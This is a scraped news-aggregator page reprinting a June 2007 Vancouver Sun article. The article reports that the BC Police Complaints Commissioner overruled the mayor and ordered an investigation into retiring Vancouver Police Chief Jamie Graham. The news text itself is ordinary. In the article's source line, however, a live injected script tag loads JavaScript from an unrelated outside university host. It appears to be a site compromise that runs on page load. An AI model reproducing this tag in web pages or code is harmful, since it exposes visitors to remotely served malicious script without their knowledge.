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NEWS > 15 June 2007

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VICTORIA'S horse racing industry is being investigated oversuspected links to police corruption.
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 Article sourced from

Vancouver Police Department<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Vancouver Sun, Canada
15 June 2007
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To view it in its entirity click this link.
Vancouver Police Department

Canada: Watchdog orders Probe

Police Complaints Commissioner Dirk Ryneveld has overruled Vancouver Mayor Sam Sullivan and ordered an investigation into retiring Police Chief Jamie Graham.

The investigation will probe allegations that Graham refused to cooperate with an RCMP inquiry of his own department that was looking into alleged police misconduct on the Downtown Eastside.

Sullivan, in his role as chairman of the Vancouver police board, dismissed that complaint in May, saying in part there would be no practical way to impose discipline on the retiring chief.

Ryneveld disagreed. "After much consideration, and with great respect to Mayor Sullivan's careful reasons to the contrary, I have concluded that it is in the public interest for these complaints to be investigated," Ryneveld wrote in a decision he sent to Sullivan on Tuesday.

"I accept that the timing may turn out to be such that disciplinary or corrective measures for any substantiated default cannot practically be imposed. ... But that does not mean that a finding of discipline default could not be made or recorded," he added. "It is difficult to conclude, at least at this point, that the complaints are not worthy of investigation."

The investigation stems from a complaint brought by the Pivot Legal Society, which bills itself as "a non-profit group dedicated to advancing the interests of illegal drug users, sex trade workers and other marginalized persons through legal education, strategic legal action, and law reform."

Because Graham is retiring in August, any findings in the case are almost certain to end up on the desk of his department's yet-to-be named replacement.

The investigating agency has not yet been revealed.

Submitted by Pivot in February 2006, the complaint alleges Graham and other VPD officers refused to cooperate with the investigation ordered by Ryneveld in 2003. While the complaint was dismissed against Graham, the Saanich police department is investigating the conduct of junior officers involved.

That was not enough for John Richardson, Pivot's executive director.

"I think it's great," Richardson said Thursday of the new investigation into Graham's conduct.

"I think hopefully there will be some finding that the conduct of the police chief and the junior officers was in violation of the Police Act -- that there should have been cooperation and the police chief should have ordered cooperation ..." he said. "I think that would set the record straight from our perspective."

The RCMP had been looking into about 50 Pivot-compiled complaints alleging serious misconduct by VPD officers in the Downtown Eastside. The RCMP completed that investigation with a report that concluded 11 of the 50 complaints were substantiated. Graham reviewed that report and on March 31, 2005, determined that none of the complaints were valid. He later reconsidered five cases and disciplined two officers.

The RCMP report from that investigation has not been released in its entirety to the public. Ryneveld said later investigators had experienced resistance in their investigation.

"What we do know is that RCMP ultimately reported the very regrettable circumstance of a lack of cooperation on the part of 'certain VPD members,' also incidents of non-responsiveness by the police chief himself," Ryneveld wrote in a report released in June 2005.

On Thursday, Graham vehemently denied the suggestion he had not cooperated with the RCMP investigation, or that he had instructed any of his officers to do the same.

"I would never do that, and you know those kinds of questions -- even to be asked, even the perception there is an element of truth to that -- I would never do that," he said heading to a media event to promote the Canadian Blood Services' donation drive.

"I operate within the law, the officers that were the subject of the inquiry sought legal advice. Their union agents were giving them advice and guidance within a collective agreement we respected," he said.

Graham also said he welcomed the new investigation, because he believes it will leave him exonerated.

"We've been through this so many times now it's just one more stage we are going to go through to get the story told," he said.

"I'm confident in the outcome. ... Anybody that wants to review this and study it the books are wide open. Study us. Any questions that are posed to me I'm prepared to answer," he added.

When asked if he would release the full RCMP report from the initial investigation, however, he said he could not because "it's not mine to give."

Sullivan also said he honours the decision made by Ryneveld. "I respect his authority and his decision. I will work with him."

Sullivan did add, however, he is not quite sure what the investigation will produce, since Graham will be gone by the time the investigation is complete.

"The corrective outcomes have already taken place," he said, explaining the city has already made changes to its police complaints procedure.

 

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